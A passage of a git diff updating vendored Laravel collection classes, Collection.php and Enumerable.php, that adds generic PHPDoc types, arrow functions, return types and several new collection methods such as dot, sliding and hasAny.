false) * Get and remove the first N items from the collection. * * @param int $count - * @return mixed + * @return static|TValue|null */ public function shift($count = 1) { @@ -1051,15 +1162,13 @@ public function shuffle($seed = null) * * @param int $size * @param int $step - * @return static + * @return static */ public function sliding($size = 2, $step = 1) { $chunks = floor(($this->count() - $size) / $step) + 1; - return static::times($chunks, function ($number) use ($size, $step) { - return $this->slice(($number - 1) * $step, $size); - }); + return static::times($chunks, fn ($number) => $this->slice(($number - 1) * $step, $size)); } /** @@ -1076,7 +1185,7 @@ public function skip($count) /** * Skip items in the collection until the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function skipUntil($value) @@ -1087,7 +1196,7 @@ public function skipUntil($value) /** * Skip items in the collection while the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function skipWhile($value) @@ -1111,7 +1220,7 @@ public function slice($offset, $length = null) * Split a collection into a certain number of groups. * * @param int $numberOfGroups - * @return static + * @return static */ public function split($numberOfGroups) { @@ -1148,7 +1257,7 @@ public function split($numberOfGroups) * Split a collection into a certain number of groups, and fill the first groups completely. * * @param int $numberOfGroups - * @return static + * @return static */ public function splitIn($numberOfGroups) { @@ -1158,10 +1267,10 @@ public function splitIn($numberOfGroups) /** * Get the first item in the collection, but only if exactly one item exists. Otherwise, throw an exception. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|string $key * @param mixed $operator * @param mixed $value - * @return mixed + * @return TValue * * @throws \Illuminate\Support\ItemNotFoundException * @throws \Illuminate\Support\MultipleItemsFoundException @@ -1172,14 +1281,16 @@ public function sole($key = null, $operator = null, $value = null) ? $this->operatorForWhere(...func_get_args()) : $key; - $items = $this->when($filter)->filter($filter); + $items = $this->unless($filter == null)->filter($filter); + + $count = $items->count(); - if ($items->isEmpty()) { + if ($count === 0) { throw new ItemNotFoundException; } - if ($items->count() > 1) { - throw new MultipleItemsFoundException; + if ($count > 1) { + throw new MultipleItemsFoundException($count); } return $items->first(); @@ -1188,10 +1299,10 @@ public function sole($key = null, $operator = null, $value = null) /** * Get the first item in the collection but throw an exception if no matching items exist. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|string $key * @param mixed $operator * @param mixed $value - * @return mixed + * @return TValue * * @throws \Illuminate\Support\ItemNotFoundException */ @@ -1216,7 +1327,7 @@ public function firstOrFail($key = null, $operator = null, $value = null) * Chunk the collection into chunks of the given size. * * @param int $size - * @return static + * @return static */ public function chunk($size) { @@ -1236,8 +1347,8 @@ public function chunk($size) /** * Chunk the collection into chunks with a callback. * - * @param callable $callback - * @return static + * @param callable(TValue, TKey, static): bool $callback + * @return static> */ public function chunkWhile(callable $callback) { @@ -1249,7 +1360,7 @@ public function chunkWhile(callable $callback) /** * Sort through each item with a callback. * - * @param callable|int|null $callback + * @param (callable(TValue, TValue): int)|null|int $callback * @return static */ public function sort($callback = null) @@ -1281,7 +1392,7 @@ public function sortDesc($options = SORT_REGULAR) /** * Sort the collection using the given callback. * - * @param callable|array|string $callback + * @param array|(callable(TValue, TKey): mixed)|string $callback * @param int $options * @param bool $descending * @return static @@ -1289,7 +1400,7 @@ public function sortDesc($options = SORT_REGULAR) public function sortBy($callback, $options = SORT_REGULAR, $descending = false) { if (is_array($callback) && ! is_callable($callback)) { - return $this->sortByMany($callback); + return $this->sortByMany($callback, $options); } $results = []; @@ -1319,14 +1430,15 @@ public function sortBy($callback, $options = SORT_REGULAR, $descending = false) /** * Sort the collection using multiple comparisons. * - * @param array $comparisons + * @param array $comparisons + * @param int $options * @return static */ - protected function sortByMany(array $comparisons = []) + protected function sortByMany(array $comparisons = [], int $options = SORT_REGULAR) { $items = $this->items; - usort($items, function ($a, $b) use ($comparisons) { + uasort($items, function ($a, $b) use ($comparisons, $options) { foreach ($comparisons as $comparison) { $comparison = Arr::wrap($comparison); @@ -1335,8 +1447,6 @@ protected function sortByMany(array $comparisons = []) $ascending = Arr::get($comparison, 1, true) === true || Arr::get($comparison, 1, true) === 'asc'; - $result = 0; - if (! is_string($prop) && is_callable($prop)) { $result = $prop($a, $b); } else { @@ -1346,7 +1456,21 @@ protected function sortByMany(array $comparisons = []) $values = array_reverse($values); } - $result = $values[0] <=> $values[1]; + if (($options & SORT_FLAG_CASE) === SORT_FLAG_CASE) { + if (($options & SORT_NATURAL) === SORT_NATURAL) { + $result = strnatcasecmp($values[0], $values[1]); + } else { + $result = strcasecmp($values[0], $values[1]); + } + } else { + $result = match ($options) { + SORT_NUMERIC => intval($values[0]) <=> intval($values[1]), + SORT_STRING => strcmp($values[0], $values[1]), + SORT_NATURAL => strnatcmp($values[0], $values[1]), + SORT_LOCALE_STRING => strcoll($values[0], $values[1]), + default => $values[0] <=> $values[1], + }; + } } if ($result === 0) { @@ -1363,12 +1487,22 @@ protected function sortByMany(array $comparisons = []) /** * Sort the collection in descending order using the given callback. * - * @param callable|string $callback + * @param array|(callable(TValue, TKey): mixed)|string $callback * @param int $options * @return static */ public function sortByDesc($callback, $options = SORT_REGULAR) { + if (is_array($callback) && ! is_callable($callback)) { + foreach ($callback as $index => $key) { + $comparison = Arr::wrap($key); + + $comparison[1] = 'desc'; + + $callback[$index] = $comparison; + } + } + return $this->sortBy($callback, $options, true); } @@ -1402,7 +1536,7 @@ public function sortKeysDesc($options = SORT_REGULAR) /** * Sort the collection keys using a callback. * - * @param callable $callback + * @param callable(TKey, TKey): int $callback * @return static */ public function sortKeysUsing(callable $callback) @@ -1419,7 +1553,7 @@ public function sortKeysUsing(callable $callback) * * @param int $offset * @param int|null $length - * @param mixed $replacement + * @param array $replacement * @return static */ public function splice($offset, $length = null, $replacement = []) @@ -1449,7 +1583,7 @@ public function take($limit) /** * Take items in the collection until the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function takeUntil($value) @@ -1460,7 +1594,7 @@ public function takeUntil($value) /** * Take items in the collection while the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function takeWhile($value) @@ -1471,7 +1605,7 @@ public function takeWhile($value) /** * Transform each item in the collection using a callback. * - * @param callable $callback + * @param callable(TValue, TKey): TValue $callback * @return $this */ public function transform(callable $callback) @@ -1481,6 +1615,16 @@ public function transform(callable $callback) return $this; } + /** + * Flatten a multi-dimensional associative array with dots. + * + * @return static + */ + public function dot() + { + return new static(Arr::dot($this->all())); + } + /** * Convert a flatten "dot" notation array into an expanded array. * @@ -1494,7 +1638,7 @@ public function undot() /** * Return only unique items from the collection array. * - * @param string|callable|null $key + * @param (callable(TValue, TKey): mixed)|string|null $key * @param bool $strict * @return static */ @@ -1520,7 +1664,7 @@ public function unique($key = null, $strict = false) /** * Reset the keys on the underlying array. * - * @return static + * @return static */ public function values() { @@ -1533,18 +1677,16 @@ public function values() * e.g. new Collection([1, 2, 3])->zip([4, 5, 6]); * => [[1, 4], [2, 5], [3, 6]] * - * @param mixed ...$items - * @return static + * @template TZipValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable ...$items + * @return static> */ public function zip($items) { - $arrayableItems = array_map(function ($items) { - return $this->getArrayableItems($items); - }, func_get_args()); + $arrayableItems = array_map(fn ($items) => $this->getArrayableItems($items), func_get_args()); - $params = array_merge([function () { - return new static(func_get_args()); - }, $this->items], $arrayableItems); + $params = array_merge([fn () => new static(func_get_args()), $this->items], $arrayableItems); return new static(array_map(...$params)); } @@ -1552,9 +1694,11 @@ public function zip($items) /** * Pad collection to the specified length with a value. * + * @template TPadValue + * * @param int $size - * @param mixed $value - * @return static + * @param TPadValue $value + * @return static */ public function pad($size, $value) { @@ -1564,10 +1708,9 @@ public function pad($size, $value) /** * Get an iterator for the items. * - * @return \ArrayIterator + * @return \ArrayIterator */ - #[\ReturnTypeWillChange] - public function getIterator() + public function getIterator(): Traversable { return new ArrayIterator($this->items); } @@ -1577,8 +1720,7 @@ public function getIterator() * * @return int */ - #[\ReturnTypeWillChange] - public function count() + public function count(): int { return count($this->items); } @@ -1586,8 +1728,8 @@ public function count() /** * Count the number of items in the collection by a field or using a callback. * - * @param callable|string $countBy - * @return static + * @param (callable(TValue, TKey): array-key)|string|null $countBy + * @return static */ public function countBy($countBy = null) { @@ -1597,7 +1739,7 @@ public function countBy($countBy = null) /** * Add an item to the collection. * - * @param mixed $item + * @param TValue $item * @return $this */ public function add($item) @@ -1610,7 +1752,7 @@ public function add($item) /** * Get a base Support collection instance from this collection. * - * @return \Illuminate\Support\Collection + * @return \Illuminate\Support\Collection */ public function toBase() { @@ -1620,11 +1762,10 @@ public function toBase() /** * Determine if an item exists at an offset. * - * @param mixed $key + * @param TKey $key * @return bool */ - #[\ReturnTypeWillChange] - public function offsetExists($key) + public function offsetExists($key): bool { return isset($this->items[$key]); } @@ -1632,11 +1773,10 @@ public function offsetExists($key) /** * Get an item at a given offset. * - * @param mixed $key - * @return mixed + * @param TKey $key + * @return TValue */ - #[\ReturnTypeWillChange] - public function offsetGet($key) + public function offsetGet($key): mixed { return $this->items[$key]; } @@ -1644,12 +1784,11 @@ public function offsetGet($key) /** * Set the item at a given offset. * - * @param mixed $key - * @param mixed $value + * @param TKey|null $key + * @param TValue $value * @return void */ - #[\ReturnTypeWillChange] - public function offsetSet($key, $value) + public function offsetSet($key, $value): void { if (is_null($key)) { $this->items[] = $value; @@ -1661,11 +1800,10 @@ public function offsetSet($key, $value) /** * Unset the item at a given offset. * - * @param mixed $key + * @param TKey $key * @return void */ - #[\ReturnTypeWillChange] - public function offsetUnset($key) + public function offsetUnset($key): void { unset($this->items[$key]); } diff --git a/vendor/illuminate/collections/Enumerable.php b/vendor/illuminate/collections/Enumerable.php index 261a0c856..918f64758 100644 --- a/vendor/illuminate/collections/Enumerable.php +++ b/vendor/illuminate/collections/Enumerable.php @@ -2,19 +2,32 @@ namespace Illuminate\Support; +use CachingIterator; use Countable; use Illuminate\Contracts\Support\Arrayable; use Illuminate\Contracts\Support\Jsonable; use IteratorAggregate; use JsonSerializable; - +use Traversable; + +/** + * @template TKey of array-key + * + * @template-covariant TValue + * + * @extends \Illuminate\Contracts\Support\Arrayable + * @extends \IteratorAggregate + */ interface Enumerable extends Arrayable, Countable, IteratorAggregate, Jsonable, JsonSerializable { /** * Create a new collection instance if the value isn't one already. * - * @param mixed $items - * @return static + * @template TMakeKey of array-key + * @template TMakeValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable|null $items + * @return static */ public static function make($items = []); @@ -39,16 +52,21 @@ public static function range($from, $to); /** * Wrap the given value in a collection if applicable. * - * @param mixed $value - * @return static + * @template TWrapValue + * + * @param iterable|TWrapValue $value + * @return static */ public static function wrap($value); /** * Get the underlying items from the given collection if applicable. * - * @param array|static $value - * @return array + * @template TUnwrapKey of array-key + * @template TUnwrapValue + * + * @param array|static $value + * @return array */ public static function unwrap($value); @@ -69,38 +87,38 @@ public function all(); /** * Alias for the "avg" method. * - * @param callable|string|null $callback - * @return mixed + * @param (callable(TValue): float|int)|string|null $callback + * @return float|int|null */ public function average($callback = null); /** * Get the median of a given key. * - * @param string|array|null $key - * @return mixed + * @param string|array|null $key + * @return float|int|null */ public function median($key = null); /** * Get the mode of a given key. * - * @param string|array|null $key - * @return array|null + * @param string|array|null $key + * @return array|null */ public function mode($key = null); /** * Collapse the items into a single enumerable. * - * @return static + * @return static */ public function collapse(); /** * Alias for the "contains" method. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|TValue|string $key * @param mixed $operator * @param mixed $value * @return bool @@ -110,8 +128,8 @@ public function some($key, $operator = null, $value = null); /** * Determine if an item exists, using strict comparison. * - * @param mixed $key - * @param mixed $value + * @param (callable(TValue): bool)|TValue|array-key $key + * @param TValue|null $value * @return bool */ public function containsStrict($key, $value = null); @@ -119,26 +137,39 @@ public function containsStrict($key, $value = null); /** * Get the average value of a given key. * - * @param callable|string|null $callback - * @return mixed + * @param (callable(TValue): float|int)|string|null $callback + * @return float|int|null */ public function avg($callback = null); /** * Determine if an item exists in the enumerable. * - * @param mixed $key + * @param (callable(TValue, TKey): bool)|TValue|string $key * @param mixed $operator * @param mixed $value * @return bool */ public function contains($key, $operator = null, $value = null); + /** + * Determine if an item is not contained in the collection. + * + * @param mixed $key + * @param mixed $operator + * @param mixed $value + * @return bool + */ + public function doesntContain($key, $operator = null, $value = null); + /** * Cross join with the given lists, returning all possible permutations. * - * @param mixed ...$lists - * @return static + * @template TCrossJoinKey + * @template TCrossJoinValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable ...$lists + * @return static> */ public function crossJoin(...$lists); @@ -146,7 +177,7 @@ public function crossJoin(...$lists); * Dump the collection and end the script. * * @param mixed ...$args - * @return void + * @return never */ public function dd(...$args); @@ -160,7 +191,7 @@ public function dump(); /** * Get the items that are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diff($items); @@ -168,8 +199,8 @@ public function diff($items); /** * Get the items that are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TValue, TValue): int $callback * @return static */ public function diffUsing($items, callable $callback); @@ -177,7 +208,7 @@ public function diffUsing($items, callable $callback); /** * Get the items whose keys and values are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diffAssoc($items); @@ -185,8 +216,8 @@ public function diffAssoc($items); /** * Get the items whose keys and values are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TKey, TKey): int $callback * @return static */ public function diffAssocUsing($items, callable $callback); @@ -194,7 +225,7 @@ public function diffAssocUsing($items, callable $callback); /** * Get the items whose keys are not present in the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function diffKeys($items); @@ -202,8 +233,8 @@ public function diffKeys($items); /** * Get the items whose keys are not present in the given items, using the callback. * - * @param mixed $items - * @param callable $callback + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @param callable(TKey, TKey): int $callback * @return static */ public function diffKeysUsing($items, callable $callback); @@ -211,7 +242,7 @@ public function diffKeysUsing($items, callable $callback); /** * Retrieve duplicate items. * - * @param callable|string|null $callback + * @param (callable(TValue): bool)|string|null $callback * @param bool $strict * @return static */ @@ -220,7 +251,7 @@ public function duplicates($callback = null, $strict = false); /** * Retrieve duplicate items using strict comparison. * - * @param callable|string|null $callback + * @param (callable(TValue): bool)|string|null $callback * @return static */ public function duplicatesStrict($callback = null); @@ -228,7 +259,7 @@ public function duplicatesStrict($callback = null); /** * Execute a callback over each item. * - * @param callable $callback + * @param callable(TValue, TKey): mixed $callback * @return $this */ public function each(callable $callback); @@ -244,7 +275,7 @@ public function eachSpread(callable $callback); /** * Determine if all items pass the given truth test. * - * @param string|callable $key + * @param (callable(TValue, TKey): bool)|TValue|string $key * @param mixed $operator * @param mixed $value * @return bool @@ -254,7 +285,7 @@ public function every($key, $operator = null, $value = null); /** * Get all items except for those with the specified keys. * - * @param mixed $keys + * @param \Illuminate\Support\Enumerable|array $keys * @return static */ public function except($keys); @@ -262,64 +293,76 @@ public function except($keys); /** * Run a filter over each of the items. * - * @param callable|null $callback + * @param (callable(TValue): bool)|null $callback * @return static */ public function filter(callable $callback = null); /** - * Apply the callback if the value is truthy. + * Apply the callback if the given "value" is (or resolves to) truthy. + * + * @template TWhenReturnType as null * * @param bool $value - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @param (callable($this): TWhenReturnType)|null $callback + * @param (callable($this): TWhenReturnType)|null $default + * @return $this|TWhenReturnType */ - public function when($value, callable $callback, callable $default = null); + public function when($value, callable $callback = null, callable $default = null); /** * Apply the callback if the collection is empty. * - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @template TWhenEmptyReturnType + * + * @param (callable($this): TWhenEmptyReturnType) $callback + * @param (callable($this): TWhenEmptyReturnType)|null $default + * @return $this|TWhenEmptyReturnType */ public function whenEmpty(callable $callback, callable $default = null); /** * Apply the callback if the collection is not empty. * - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @template TWhenNotEmptyReturnType + * + * @param callable($this): TWhenNotEmptyReturnType $callback + * @param (callable($this): TWhenNotEmptyReturnType)|null $default + * @return $this|TWhenNotEmptyReturnType */ public function whenNotEmpty(callable $callback, callable $default = null); /** - * Apply the callback if the value is falsy. + * Apply the callback if the given "value" is (or resolves to) truthy. + * + * @template TUnlessReturnType * * @param bool $value - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @param (callable($this): TUnlessReturnType) $callback + * @param (callable($this): TUnlessReturnType)|null $default + * @return $this|TUnlessReturnType */ public function unless($value, callable $callback, callable $default = null); /** * Apply the callback unless the collection is empty. * - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @template TUnlessEmptyReturnType + * + * @param callable($this): TUnlessEmptyReturnType $callback + * @param (callable($this): TUnlessEmptyReturnType)|null $default + * @return $this|TUnlessEmptyReturnType */ public function unlessEmpty(callable $callback, callable $default = null); /** * Apply the callback unless the collection is not empty. * - * @param callable $callback - * @param callable|null $default - * @return static|mixed + * @template TUnlessNotEmptyReturnType + * + * @param callable($this): TUnlessNotEmptyReturnType $callback + * @param (callable($this): TUnlessNotEmptyReturnType)|null $default + * @return $this|TUnlessNotEmptyReturnType */ public function unlessNotEmpty(callable $callback, callable $default = null); @@ -362,7 +405,7 @@ public function whereStrict($key, $value); * Filter items by the given key value pair. * * @param string $key - * @param mixed $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @param bool $strict * @return static */ @@ -372,7 +415,7 @@ public function whereIn($key, $values, $strict = false); * Filter items by the given key value pair using strict comparison. * * @param string $key - * @param mixed $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @return static */ public function whereInStrict($key, $values); @@ -381,7 +424,7 @@ public function whereInStrict($key, $values); * Filter items such that the value of the given key is between the given values. * * @param string $key - * @param array $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @return static */ public function whereBetween($key, $values); @@ -390,7 +433,7 @@ public function whereBetween($key, $values); * Filter items such that the value of the given key is not between the given values. * * @param string $key - * @param array $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @return static */ public function whereNotBetween($key, $values); @@ -399,7 +442,7 @@ public function whereNotBetween($key, $values); * Filter items by the given key value pair. * * @param string $key - * @param mixed $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @param bool $strict * @return static */ @@ -409,7 +452,7 @@ public function whereNotIn($key, $values, $strict = false); * Filter items by the given key value pair using strict comparison. * * @param string $key - * @param mixed $values + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values * @return static */ public function whereNotInStrict($key, $values); @@ -417,17 +460,21 @@ public function whereNotInStrict($key, $values); /** * Filter the items, removing any items that don't match the given type(s). * - * @param string|string[] $type - * @return static + * @template TWhereInstanceOf + * + * @param class-string|array> $type + * @return static */ public function whereInstanceOf($type); /** * Get the first item from the enumerable passing the given truth test. * - * @param callable|null $callback - * @param mixed $default - * @return mixed + * @template TFirstDefault + * + * @param (callable(TValue,TKey): bool)|null $callback + * @param TFirstDefault|(\Closure(): TFirstDefault) $default + * @return TValue|TFirstDefault */ public function first(callable $callback = null, $default = null); @@ -437,7 +484,7 @@ public function first(callable $callback = null, $default = null); * @param string $key * @param mixed $operator * @param mixed $value - * @return mixed + * @return TValue|null */ public function firstWhere($key, $operator = null, $value = null); @@ -452,48 +499,58 @@ public function flatten($depth = INF); /** * Flip the values with their keys. * - * @return static + * @return static */ public function flip(); /** * Get an item from the collection by key. * - * @param mixed $key - * @param mixed $default - * @return mixed + * @template TGetDefault + * + * @param TKey $key + * @param TGetDefault|(\Closure(): TGetDefault) $default + * @return TValue|TGetDefault */ public function get($key, $default = null); /** * Group an associative array by a field or using a callback. * - * @param array|callable|string $groupBy + * @param (callable(TValue, TKey): array-key)|array|string $groupBy * @param bool $preserveKeys - * @return static + * @return static> */ public function groupBy($groupBy, $preserveKeys = false); /** * Key an associative array by a field or using a callback. * - * @param callable|string $keyBy - * @return static + * @param (callable(TValue, TKey): array-key)|array|string $keyBy + * @return static */ public function keyBy($keyBy); /** * Determine if an item exists in the collection by key. * - * @param mixed $key + * @param TKey|array $key * @return bool */ public function has($key); + /** + * Determine if any of the keys exist in the collection. + * + * @param mixed $key + * @return bool + */ + public function hasAny($key); + /** * Concatenate values of a given key as a string. * - * @param string $value + * @param callable|string $value * @param string|null $glue * @return string */ @@ -502,7 +559,7 @@ public function implode($value, $glue = null); /** * Intersect the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function intersect($items); @@ -510,7 +567,7 @@ public function intersect($items); /** * Intersect the collection with the given items by key. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function intersectByKeys($items); @@ -529,6 +586,13 @@ public function isEmpty(); */ public function isNotEmpty(); + /** + * Determine if the collection contains a single item. + * + * @return bool + */ + public function containsOneItem(); + /** * Join all items from the collection using a string. The final items can use a separate glue string. * @@ -541,24 +605,28 @@ public function join($glue, $finalGlue = ''); /** * Get the keys of the collection items. * - * @return static + * @return static */ public function keys(); /** * Get the last item from the collection. * - * @param callable|null $callback - * @param mixed $default - * @return mixed + * @template TLastDefault + * + * @param (callable(TValue, TKey): bool)|null $callback + * @param TLastDefault|(\Closure(): TLastDefault) $default + * @return TValue|TLastDefault */ public function last(callable $callback = null, $default = null); /** * Run a map over each of the items. * - * @param callable $callback - * @return static + * @template TMapValue + * + * @param callable(TValue, TKey): TMapValue $callback + * @return static */ public function map(callable $callback); @@ -575,8 +643,11 @@ public function mapSpread(callable $callback); * * The callback should return an associative array with a single key/value pair. * - * @param callable $callback - * @return static + * @template TMapToDictionaryKey of array-key + * @template TMapToDictionaryValue + * + * @param callable(TValue, TKey): array $callback + * @return static> */ public function mapToDictionary(callable $callback); @@ -585,8 +656,11 @@ public function mapToDictionary(callable $callback); * * The callback should return an associative array with a single key/value pair. * - * @param callable $callback - * @return static + * @template TMapToGroupsKey of array-key + * @template TMapToGroupsValue + * + * @param callable(TValue, TKey): array $callback + * @return static> */ public function mapToGroups(callable $callback); @@ -595,31 +669,39 @@ public function mapToGroups(callable $callback); * * The callback should return an associative array with a single key/value pair. * - * @param callable $callback - * @return static + * @template TMapWithKeysKey of array-key + * @template TMapWithKeysValue + * + * @param callable(TValue, TKey): array $callback + * @return static */ public function mapWithKeys(callable $callback); /** * Map a collection and flatten the result by a single level. * - * @param callable $callback - * @return static + * @template TFlatMapKey of array-key + * @template TFlatMapValue + * + * @param callable(TValue, TKey): (\Illuminate\Support\Collection|array) $callback + * @return static */ public function flatMap(callable $callback); /** * Map the values into a new class. * - * @param string $class - * @return static + * @template TMapIntoValue + * + * @param class-string $class + * @return static */ public function mapInto($class); /** * Merge the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function merge($items); @@ -627,23 +709,27 @@ public function merge($items); /** * Recursively merge the collection with the given items. * - * @param mixed $items - * @return static + * @template TMergeRecursiveValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items + * @return static */ public function mergeRecursive($items); /** * Create a collection by using this collection for keys and another for its values. * - * @param mixed $values - * @return static + * @template TCombineValue + * + * @param \Illuminate\Contracts\Support\Arrayable|iterable $values + * @return static */ public function combine($values); /** * Union the collection with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function union($items); @@ -651,7 +737,7 @@ public function union($items); /** * Get the min value of a given key. * - * @param callable|string|null $callback + * @param (callable(TValue):mixed)|string|null $callback * @return mixed */ public function min($callback = null); @@ -659,7 +745,7 @@ public function min($callback = null); /** * Get the max value of a given key. * - * @param callable|string|null $callback + * @param (callable(TValue):mixed)|string|null $callback * @return mixed */ public function max($callback = null); @@ -676,7 +762,7 @@ public function nth($step, $offset = 0); /** * Get the items with the specified keys. * - * @param mixed $keys + * @param \Illuminate\Support\Enumerable|array|string $keys * @return static */ public function only($keys); @@ -693,18 +779,21 @@ public function forPage($page, $perPage); /** * Partition the collection into two arrays using the given callback or key. * - * @param callable|string $key + * @param (callable(TValue, TKey): bool)|TValue|string $key * @param mixed $operator * @param mixed $value - * @return static + * @return static, static> */ public function partition($key, $operator = null, $value = null); /** * Push all of the given items onto the collection. * - * @param iterable $source - * @return static + * @template TConcatKey of array-key + * @template TConcatValue + * + * @param iterable $source + * @return static */ public function concat($source); @@ -712,7 +801,7 @@ public function concat($source); * Get one or a specified number of items randomly from the collection. * * @param int|null $number - * @return static|mixed + * @return static|TValue * * @throws \InvalidArgumentException */ @@ -721,16 +810,30 @@ public function random($number = null); /** * Reduce the collection to a single value. * - * @param callable $callback - * @param mixed $initial - * @return mixed + * @template TReduceInitial + * @template TReduceReturnType + * + * @param callable(TReduceInitial|TReduceReturnType, TValue, TKey): TReduceReturnType $callback + * @param TReduceInitial $initial + * @return TReduceReturnType */ public function reduce(callable $callback, $initial = null); + /** + * Reduce the collection to multiple aggregate values. + * + * @param callable $callback + * @param mixed ...$initial + * @return array + * + * @throws \UnexpectedValueException + */ + public function reduceSpread(callable $callback, ...$initial); + /** * Replace the collection items with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function replace($items); @@ -738,7 +841,7 @@ public function replace($items); /** * Recursively replace the collection items with the given items. * - * @param mixed $items + * @param \Illuminate\Contracts\Support\Arrayable|iterable $items * @return static */ public function replaceRecursive($items); @@ -753,9 +856,9 @@ public function reverse(); /** * Search the collection for a given value and return the corresponding key if successful. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @param bool $strict - * @return mixed + * @return TKey|bool */ public function search($value, $strict = false); @@ -767,6 +870,15 @@ public function search($value, $strict = false); */ public function shuffle($seed = null); + /** + * Create chunks representing a "sliding window" view of the items in the collection. + * + * @param int $size + * @param int $step + * @return static + */ + public function sliding($size = 2, $step = 1); + /** * Skip the first {$count} items. * @@ -778,7 +890,7 @@ public function skip($count); /** * Skip items in the collection until the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function skipUntil($value); @@ -786,7 +898,7 @@ public function skipUntil($value); /** * Skip items in the collection while the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function skipWhile($value); @@ -804,30 +916,63 @@ public function slice($offset, $length = null); * Split a collection into a certain number of groups. * * @param int $numberOfGroups - * @return static + * @return static */ public function split($numberOfGroups); + /** + * Get the first item in the collection, but only if exactly one item exists. Otherwise, throw an exception. + * + * @param (callable(TValue, TKey): bool)|string $key + * @param mixed $operator + * @param mixed $value + * @return TValue + * + * @throws \Illuminate\Support\ItemNotFoundException + * @throws \Illuminate\Support\MultipleItemsFoundException + */ + public function sole($key = null, $operator = null, $value = null); + + /** + * Get the first item in the collection but throw an exception if no matching items exist. + * + * @param (callable(TValue, TKey): bool)|string $key + * @param mixed $operator + * @param mixed $value + * @return TValue + * + * @throws \Illuminate\Support\ItemNotFoundException + */ + public function firstOrFail($key = null, $operator = null, $value = null); + /** * Chunk the collection into chunks of the given size. * * @param int $size - * @return static + * @return static */ public function chunk($size); /** * Chunk the collection into chunks with a callback. * - * @param callable $callback - * @return static + * @param callable(TValue, TKey, static): bool $callback + * @return static> */ public function chunkWhile(callable $callback); + /** + * Split a collection into a certain number of groups, and fill the first groups completely. + * + * @param int $numberOfGroups + * @return static + */ + public function splitIn($numberOfGroups); + /** * Sort through each item with a callback. * - * @param callable|null|int $callback + * @param (callable(TValue, TValue): int)|null|int $callback * @return static */ public function sort($callback = null); @@ -843,7 +988,7 @@ public function sortDesc($options = SORT_REGULAR); /** * Sort the collection using the given callback. * - * @param callable|string $callback + * @param array|(callable(TValue, TKey): mixed)|string $callback * @param int $options * @param bool $descending * @return static @@ -853,7 +998,7 @@ public function sortBy($callback, $options = SORT_REGULAR, $descending = false); /** * Sort the collection in descending order using the given callback. * - * @param callable|string $callback + * @param array|(callable(TValue, TKey): mixed)|string $callback * @param int $options * @return static */ @@ -876,10 +1021,18 @@ public function sortKeys($options = SORT_REGULAR, $descending = false); */ public function sortKeysDesc($options = SORT_REGULAR); + /** + * Sort the collection keys using a callback. + * + * @param callable(TKey, TKey): int $callback + * @return static + */ + public function sortKeysUsing(callable $callback); + /** * Get the sum of the given values. * - * @param callable|string|null $callback + * @param (callable(TValue): mixed)|string|null $callback * @return mixed */ public function sum($callback = null); @@ -895,7 +1048,7 @@ public function take($limit); /** * Take items in the collection until the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function takeUntil($value); @@ -903,7 +1056,7 @@ public function takeUntil($value); /** * Take items in the collection while the given condition is met. * - * @param mixed $value + * @param TValue|callable(TValue,TKey): bool $value * @return static */ public function takeWhile($value); @@ -911,7 +1064,7 @@ public function takeWhile($value); /** * Pass the collection to the given callback and then return it. * - * @param callable $callback + * @param callable(TValue): mixed $callback * @return $this */ public function tap(callable $callback); @@ -919,32 +1072,59 @@ public function tap(callable $callback); /** * Pass the enumerable to the given callback and return the result. * - * @param callable $callback - * @return mixed + * @template TPipeReturnType + * + * @param callable($this): TPipeReturnType $callback + * @return TPipeReturnType */ public function pipe(callable $callback); + /** + * Pass the collection into a new class. + * + * @template TPipeIntoValue + * + * @param class-string $class + * @return TPipeIntoValue + */ + public function pipeInto($class); + + /** + * Pass the collection through a series of callable pipes and return the result. + * + * @param array $pipes + * @return mixed + */ + public function pipeThrough($pipes); + /** * Get the values of a given key. * - * @param string|array $value + * @param string|array $value * @param string|null $key - * @return static + * @return static */ public function 